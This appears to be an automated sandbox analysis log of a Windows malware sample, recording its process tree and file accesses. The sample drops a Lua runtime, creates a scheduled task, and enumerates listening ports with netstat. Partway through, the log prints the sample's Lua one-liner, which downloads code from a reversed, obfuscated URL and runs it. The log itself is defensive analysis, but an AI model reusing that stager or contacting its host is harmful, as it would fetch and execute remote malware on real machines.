  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\DATETIME.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\DATETIME.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\EMAIL\_PARSEADDR.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\EMAIL\__PYCACHE__\_PARSEADDR.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\CALENDAR.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\CALENDAR.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\LOCALE.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\LOCALE.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\EMAIL\MESSAGE.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\EMAIL\__PYCACHE__\MESSAGE.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\UU.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\UU.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\EMAIL\_ENCODED_WORDS.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\EMAIL\__PYCACHE__\_ENCODED_WORDS.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\EMAIL\ITERATORS.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\EMAIL\__PYCACHE__\ITERATORS.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\SSL.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\SSL.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\DLLS\_SSL.PYD
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\DLLS\LIBSSL-1_1-X64.DLL
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\POSIXPATH.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\POSIXPATH.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\TEMPFILE.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\TEMPFILE.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\SHUTIL.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\SHUTIL.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\FNMATCH.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\FNMATCH.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\BZ2.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\BZ2.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\_COMPRESSION.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\_COMPRESSION.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\DLLS\_BZ2.PYD
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\LZMA.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\LZMA.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\DLLS\_LZMA.PYD
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\CONTEXTLIB.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\CONTEXTLIB.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\URLLIB\ERROR.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\URLLIB\__PYCACHE__\ERROR.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\URLLIB\RESPONSE.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\URLLIB\__PYCACHE__\RESPONSE.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\NTURL2PATH.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\NTURL2PATH.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\ARGPARSE.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\ARGPARSE.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\GETTEXT.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\GETTEXT.CPYTHON-37.PYC
  C:\PERFLOGS\TRIGGER.PY
  C:\PERFLOGS\__PYCACHE__\TRIGGER.CPYTHON-37.PYC.45316016
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\SITE-PACKAGES\MAGIC\__INIT__.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\SITE-PACKAGES\MAGIC\__PYCACHE__\__INIT__.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\SITE-PACKAGES\MAGIC\MAGIC.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\SITE-PACKAGES\MAGIC\__PYCACHE__\MAGIC.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\GLOB.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\GLOB.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\CTYPES\__INIT__.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\CTYPES\__PYCACHE__\__INIT__.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\DLLS\_CTYPES.PYD
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\CTYPES\_ENDIAN.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\CTYPES\__PYCACHE__\_ENDIAN.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\CTYPES\UTIL.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\CTYPES\__PYCACHE__\UTIL.CPYTHON-37.PYC.44854608
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\SITE-PACKAGES\MAGIC\LIBMAGIC\LIBMAGIC.DLL
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\MIMETYPES.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\MIMETYPES.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\ZIPFILE.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\ZIPFILE.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\IMPORTLIB\__INIT__.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\IMPORTLIB\__PYCACHE__\__INIT__.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\IMPORTLIB\UTIL.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\IMPORTLIB\__PYCACHE__\UTIL.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\IMPORTLIB\ABC.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\IMPORTLIB\__PYCACHE__\ABC.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\IMPORTLIB\MACHINERY.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\IMPORTLIB\__PYCACHE__\MACHINERY.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\SITE-PACKAGES\RARFILE.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\SITE-PACKAGES\__PYCACHE__\RARFILE.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\PATHLIB.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\PATHLIB.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\SITE-PACKAGES\PEREADER.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\SITE-PACKAGES\__PYCACHE__\PEREADER.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\TYPING.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\TYPING.CPYTHON-37.PYC

2492
- Image path
  - "C:\MALWARE\75E03F40A088903579A436C0D8E8BC3D0D71CF2942AD793CC948F36866A2E1AD"
- Time lapse
  - 5.787611
- Files Accessed
  - C:\WINDOWS\SYSTEM32\SECHOST.DLL
    C:\WINDOWS\SYSTEM32\SECUR32.DLL
    C:\WINDOWS\SYSTEM32\SSPICLI.DLL
    C:\WINDOWS\SYSTEM32\IMM32.DLL
    C:\WINDOWS\SYSTEM32\CRYPTBASE.DLL
    C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\SILVERLIGHT.EXE
    C:\WINDOWS\GLOBALIZATION\SORTING\SORTDEFAULT.NLS
    C:\WINDOWS\SYSTEM32\MSWSOCK.DLL
    C:\WINDOWS\SYSTEM32\WSHTCPIP.DLL
    C:\WINDOWS\SYSTEM32\WSHIP6.DLL
    C:\WINDOWS\SYSTEM32\DNSAPI.DLL
    C:\USERS\ADMINI~1\APPDATA\LOCAL\TEMP\LUA.ZIP
    C:\WINDOWS\SYSTEM32\IPHLPAPI.DLL
    C:\WINDOWS\SYSTEM32\WINNSI.DLL
    C:\WINDOWS\SYSTEM32\RASADHLP.DLL
    C:\PROGRAMDATA\LUA\ALIEN\CORE.DLL
    C:\PROGRAMDATA\LUA\EFFIL.DLL
    C:\PROGRAMDATA\LUA\LUA.EXE
    C:\PROGRAMDATA\LUA\LUA\LTN12.LUA
    C:\PROGRAMDATA\LUA\LUA\MIME.LUA
    C:\PROGRAMDATA\LUA\LUA\SOCKET.LUA
    C:\PROGRAMDATA\LUA\LUA\SOCKET\FTP.LUA
    C:\PROGRAMDATA\LUA\LUA\SOCKET\HTTP.LUA
    C:\PROGRAMDATA\LUA\LUA\SOCKET\SMTP.LUA
    C:\PROGRAMDATA\LUA\LUA\SOCKET\TP.LUA
    C:\PROGRAMDATA\LUA\LUA\SOCKET\URL.LUA
    C:\PROGRAMDATA\LUA\LUA5.1.DLL
    C:\PROGRAMDATA\LUA\LUA51.DLL
    C:\PROGRAMDATA\LUA\LUAC.EXE
    C:\PROGRAMDATA\LUA\MIME\CORE.DLL
    C:\PROGRAMDATA\LUA\SOCKET\CORE.DLL
    C:\PROGRAMDATA\LUA\ZIP.DLL
    C:\WINDOWS\SYSTEM32\TZRES.DLL
    C:\WINDOWS\SYSTEM32\EN-US\TZRES.DLL.MUI
    C:\WINDOWS\SYSTEM32\RPCSS.DLL
    C:\WINDOWS\REGISTRATION\R00000000000C.CLB
    C:\WINDOWS\SYSTEM32\TASKSCHD.DLL
    C:\WINDOWS\SYSTEM32\XMLLITE.DLL
    C:\WINDOWS\SYSTEM32\FWPUCLNT.DLL
    C:\WINDOWS\SYSTEM32\EN-US\CONHOST.EXE.MUI
    C:\WINDOWS\SYSTEM32\UXTHEME.DLL
    C:\PROGRAM FILES (X86)\MICROSOFT SILVERLIGHT\5.1.50918.0\COREGEN.EXE
    C:\WINDOWS\SYSTEM32\CONHOST.EXE
    C:\WINDOWS\SYSTEM32\DWMAPI.DLL
    C:\WINDOWS\SYSTEM32\EN-US\USER32.DLL.MUI
    C:\WINDOWS\WINSXS\AMD64_MICROSOFT.WINDOWS.COMMON-CONTROLS_6595B64144CCF1DF_6.0.7601.17514_NONE_FA396087175AC9AC\COMCTL32.DLL
    C:\WINDOWS\WINDOWSSHELL.MANIFEST
    C:\WINDOWS\FONTS\STATICCACHE.DAT

872
- Image path
  - TASKENG.EXE {3615E526-DA54-4649-ADF5-52AADB31DDA8} S-1-5-18:NT AUTHORITY\SYSTEM:SERVICE:
- Time lapse
  - 6.037211
- Files Accessed
  - C:\WINDOWS\SYSTEM32\KTMW32.DLL
    C:\WINDOWS\SYSTEM32\WEVTAPI.DLL
    C:\WINDOWS\SYSTEM32\IMM32.DLL
    C:\WINDOWS\SYSTEM32\EN-US\TASKENG.EXE.MUI
    C:\WINDOWS\SYSTEM32\RPCSS.DLL
    C:\WINDOWS\SYSTEM32\CRYPTBASE.DLL
    C:\WINDOWS\SYSTEM32\SECHOST.DLL
    C:\WINDOWS\SYSTEM32\CRYPTSP.DLL
    C:\WINDOWS\SYSTEM32\RSAENH.DLL
    C:\WINDOWS\SYSTEM32\SSPICLI.DLL
    C:\WINDOWS\GLOBALIZATION\SORTING\SORTDEFAULT.NLS
    C:\WINDOWS\SYSTEM32\RPCRTREMOTE.DLL
    C:\WINDOWS\SYSTEM32\TSCHANNEL.DLL
    C:\WINDOWS\SYSTEM32\TASKS\LUADRIVE
    C:\WINDOWS\SYSTEM32\XMLLITE.DLL
    C:\PROGRAMDATA\LUA\LUAC.EXE
    C:\WINDOWS\SYSTEM32\APPHELP.DLL
    C:\WINDOWS\APPPATCH\SYSMAIN.SDB
- Process children
  - 2592
    - Image path
      - C:\PROGRAMDATA\LUA\LUAC.EXE -E "CODE = \"LOCAL HTTP=REQUIRE('SOCKET.HTTP');\"..\"LOCAL RESPONSE_BODY = {}\"..\"LOCAL RES, CODE = HTTP.REQUEST({\"..\" URL = STRING.REVERSE('AUL.344-SC-1/68X/MOC.SCNUYILA.GNOKGNOH-NC-SSO.SBILAUL//:PTTH'),\"..\" SINK = LTN12.SINK.TABLE(RESPONSE_BODY)\"..\"})\"..\"IF TYPE(RESPONSE_BODY) == 'TABLE' THEN\"..\" LOADSTRING(TABLE.CONCAT(RESPONSE_BODY))()\"..\"ELSE\"..\" PRINT('ERROR')\"..\"END\";LOADSTRING(CODE)();"
    - Time lapse
      - 6.240011
    - Files Accessed
      - C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\PROGRAMDATA\LUA\LUA5.1.DLL
        C:\WINDOWS\WINSXS\X86_MICROSOFT.VC80.CRT_1FC8B3B9A1E18E3B_8.0.50727.4940_NONE_D08CC06A442B34FC\MSVCR80.DLL
        C:\PROGRAMDATA\LUA\LUA\SOCKET\HTTP.LUA
        C:\PROGRAMDATA\LUA\LUA\SOCKET.LUA
        C:\PROGRAMDATA\LUA\SOCKET\CORE.DLL
        C:\WINDOWS\SYSWOW64\WSOCK32.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\GLOBALIZATION\SORTING\SORTDEFAULT.NLS
        C:\PROGRAMDATA\LUA\LUA\SOCKET\URL.LUA
        C:\PROGRAMDATA\LUA\LUA\LTN12.LUA
        C:\PROGRAMDATA\LUA\LUA\MIME.LUA
        C:\PROGRAMDATA\LUA\MIME\CORE.DLL
        C:\WINDOWS\SYSWOW64\MSWSOCK.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\WSHTCPIP.DLL
        C:\WINDOWS\SYSWOW64\NLAAPI.DLL
        C:\WINDOWS\SYSWOW64\NAPINSP.DLL
        C:\WINDOWS\SYSWOW64\PNRPNSP.DLL
        C:\WINDOWS\SYSWOW64\DNSAPI.DLL
        C:\WINDOWS\SYSWOW64\WINRNR.DLL
        C:\WINDOWS\SYSWOW64\WSHBTH.DLL
        C:\WINDOWS\SYSWOW64\IPHLPAPI.DLL
        C:\WINDOWS\SYSWOW64\WINNSI.DLL
        C:\WINDOWS\SYSWOW64\FWPUCLNT.DLL
        C:\WINDOWS\SYSWOW64\RASADHLP.DLL
        C:\PROGRAMDATA\LUA\EFFIL.DLL
        C:\WINDOWS\SYSWOW64\CMD.EXE
        C:\WINDOWS\SYSWOW64\APPHELP.DLL
        C:\WINDOWS\APPPATCH\SYSMAIN.SDB
        C:\PROGRAMDATA\LUA\ALIEN\CORE.DLL
        C:\WINDOWS\SYSWOW64\WININET.DLL
        C:\WINDOWS\WINSXS\X86_MICROSOFT.WINDOWS.COMMON-CONTROLS_6595B64144CCF1DF_6.0.7601.17514_NONE_41E6975E2BD6F2B2\COMCTL32.DLL
        C:\WINDOWS\WINDOWSSHELL.MANIFEST
        C:\WINDOWS\SYSWOW64\PROFAPI.DLL
        C:\WINDOWS\SYSWOW64\CONFIG\SYSTEMPROFILE\APPDATA\LOCAL\MICROSOFT\WINDOWS\TEMPORARY INTERNET FILES\CONTENT.IE5\INDEX.DAT
        C:\WINDOWS\SYSWOW64\CONFIG\SYSTEMPROFILE\APPDATA\ROAMING\MICROSOFT\WINDOWS\COOKIES\INDEX.DAT
        C:\WINDOWS\SYSWOW64\CONFIG\SYSTEMPROFILE\APPDATA\LOCAL\MICROSOFT\WINDOWS\HISTORY\HISTORY.IE5\INDEX.DAT
        C:\WINDOWS\SYSWOW64\NTMARTA.DLL
        C:\WINDOWS\SYSWOW64\USERENV.DLL
        C:\WINDOWS\SYSTEM32\CONFIG\SYSTEMPROFILE\APPDATA\ROAMING\MICROSOFT\SYSTEMCERTIFICATES\MY\CERTIFICATES
        C:\WINDOWS\SYSTEM32\CONFIG\SYSTEMPROFILE\APPDATA\ROAMING\MICROSOFT\SYSTEMCERTIFICATES\MY\CRLS
        C:\WINDOWS\SYSTEM32\CONFIG\SYSTEMPROFILE\APPDATA\ROAMING\MICROSOFT\SYSTEMCERTIFICATES\MY\CTLS
        C:\WINDOWS\SYSWOW64\SCHANNEL.DLL
        C:\WINDOWS\SYSWOW64\RASAPI32.DLL
        C:\WINDOWS\SYSWOW64\RASMAN.DLL
        C:\WINDOWS\SYSWOW64\RTUTILS.DLL
        C:\WINDOWS\SYSWOW64\SENSAPI.DLL
        C:\WINDOWS\SYSWOW64\WSHIP6.DLL
        C:\WINDOWS\REGISTRATION\R00000000000C.CLB
        C:\WINDOWS\SYSWOW64\NETPROFM.DLL
        C:\WINDOWS\SYSWOW64\CRYPTSP.DLL
        C:\WINDOWS\SYSWOW64\RSAENH.DLL
        C:\WINDOWS\SYSWOW64\RPCRTREMOTE.DLL
        C:\WINDOWS\SYSWOW64\NPMPROXY.DLL
        C:\WINDOWS\SYSWOW64\DHCPCSVC.DLL
        C:\WINDOWS\SYSWOW64\DHCPCSVC6.DLL
        C:\WINDOWS\SYSWOW64\CREDSSP.DLL
        C:\WINDOWS\SYSWOW64\SECUR32.DLL
        C:\WINDOWS\SYSWOW64\NCRYPT.DLL
        C:\WINDOWS\SYSWOW64\BCRYPT.DLL
        C:\WINDOWS\SYSWOW64\BCRYPTPRIMITIVES.DLL
        C:\WINDOWS\SYSWOW64\GPAPI.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CRYPT32.DLL.MUI
        C:\WINDOWS\SYSWOW64\CRYPTNET.DLL
        C:\WINDOWS\SYSWOW64\WINHTTP.DLL
        C:\WINDOWS\SYSWOW64\WEBIO.DLL
        C:\WINDOWS\SYSWOW64\EN-US\KERNELBASE.DLL.MUI
        C:\WINDOWS\SYSWOW64\EN-US\WINHTTP.DLL.MUI
        C:\WINDOWS\SYSWOW64\CONFIG\SYSTEMPROFILE\APPDATA\LOCALLOW\MICROSOFT\CRYPTNETURLCACHE\METADATA\77EC63BDA74BD0D0E0426DC8F8008506
        C:\WINDOWS\SYSWOW64\CONFIG\SYSTEMPROFILE\APPDATA\LOCALLOW\MICROSOFT\CRYPTNETURLCACHE\CONTENT\77EC63BDA74BD0D0E0426DC8F8008506
        C:\WINDOWS\TEMP\CAB2ECC.TMP
        C:\WINDOWS\TEMP\TAR2F2B.TMP
        C:\WINDOWS\SYSWOW64\EN-US\SETUPAPI.DLL.MUI
        C:\WINDOWS\SYSWOW64\CABINET.DLL
        C:\WINDOWS\SYSWOW64\DEVRTL.DLL
    - Process children
      - 2512
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C NETSTAT -ANO|FINDSTR LISTEN|FINDSTR 127.0.0.1:
        
        Time lapse
        
        9.718817
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\WINDOWS\GLOBALIZATION\SORTING\SORTDEFAULT.NLS
        C:\WINDOWS\SYSWOW64\NETSTAT.EXE
        C:\WINDOWS\SYSWOW64\APPHELP.DLL
        C:\WINDOWS\APPPATCH\SYSMAIN.SDB
        C:\WINDOWS\SYSWOW64\FINDSTR.EXE
        
        Process children
        
        2088
        
        Image path
        
        NETSTAT -ANO
        
        Time lapse
        
        10.96682
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\DBGHELP.DLL
        C:\WINDOWS\SYSWOW64\IPHLPAPI.DLL
        C:\WINDOWS\SYSWOW64\WINNSI.DLL
        C:\WINDOWS\SYSWOW64\SNMPAPI.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\NETSTAT.EXE.MUI
        C:\WINDOWS\GLOBALIZATION\SORTING\SORTDEFAULT.NLS
        C:\WINDOWS\SYSWOW64\INETMIB1.DLL
        C:\WINDOWS\SYSWOW64\MSWSOCK.DLL
        C:\WINDOWS\SYSWOW64\WSHTCPIP.DLL
        C:\WINDOWS\SYSWOW64\WSHIP6.DLL
        
        1320
        
        Image path
        
        FINDSTR LISTEN
        
        Time lapse
        
        11.247622
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\FINDSTR.EXE.MUI
        
        1100
        
        Image path
        
        FINDSTR 127.0.0.1:
        
        Time lapse
        
        11.341221
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\FINDSTR.EXE.MUI
        C:\WINDOWS\GLOBALIZATION\SORTING\SORTDEFAULT.NLS
      - 3296
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C NETSTAT -ANO|FINDSTR LISTEN|FINDSTR 127.0.0.1:
        
        Time lapse
        
        12.466423
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\WINDOWS\GLOBALIZATION\SORTING\SORTDEFAULT.NLS
        C:\WINDOWS\SYSWOW64\NETSTAT.EXE
        C:\WINDOWS\SYSWOW64\APPHELP.DLL
        C:\WINDOWS\APPPATCH\SYSMAIN.SDB
        C:\WINDOWS\SYSWOW64\FINDSTR.EXE
        
        Process children
        
        3320
        
        Image path
        
        NETSTAT -ANO
        
        Time lapse
        
        12.506422
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\DBGHELP.DLL
        C:\WINDOWS\SYSWOW64\IPHLPAPI.DLL
        C:\WINDOWS\SYSWOW64\WINNSI.DLL
        C:\WINDOWS\SYSWOW64\SNMPAPI.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\NETSTAT.EXE.MUI
        C:\WINDOWS\GLOBALIZATION\SORTING\SORTDEFAULT.NLS
        C:\WINDOWS\SYSWOW64\INETMIB1.DLL
        C:\WINDOWS\SYSWOW64\MSWSOCK.DLL
        C:\WINDOWS\SYSWOW64\WSHTCPIP.DLL
        C:\WINDOWS\SYSWOW64\WSHIP6.DLL
        
        3332
        
        Image path
        
        FINDSTR LISTEN
        
        Time lapse
        
        12.637427
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
